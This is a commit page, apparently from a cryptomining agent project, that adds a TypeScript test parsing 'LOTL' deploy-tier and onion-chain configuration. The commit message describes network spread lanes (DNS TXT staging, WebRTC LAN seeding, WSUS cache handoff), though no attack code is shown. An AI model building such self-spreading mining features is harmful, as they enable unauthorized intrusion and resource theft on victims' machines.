Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
64
server/web/src/help/accessDepth.test.ts
Normal file
64
server/web/src/help/accessDepth.test.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'x',
|
||||
name: 'n',
|
||||
wallet: '',
|
||||
ip: '1.1.1.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('parseAccessDepthServerPolicy', () => {
|
||||
it('reads lotl_onion_tiers and triple onion from config', () => {
|
||||
const p = parseAccessDepthServerPolicy({
|
||||
server: {
|
||||
lotl_onion_tiers: ['docker', 'smb'],
|
||||
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
|
||||
},
|
||||
});
|
||||
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
|
||||
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel pending chain', () => {
|
||||
it('marks skipped tiers and pending remainder', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'windows' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['a', 'b', 'c'],
|
||||
tier_chain_skipped: ['a'],
|
||||
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
|
||||
}),
|
||||
);
|
||||
expect(model.pendingTiers).toEqual(['c']);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
|
||||
expect(model.failed).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user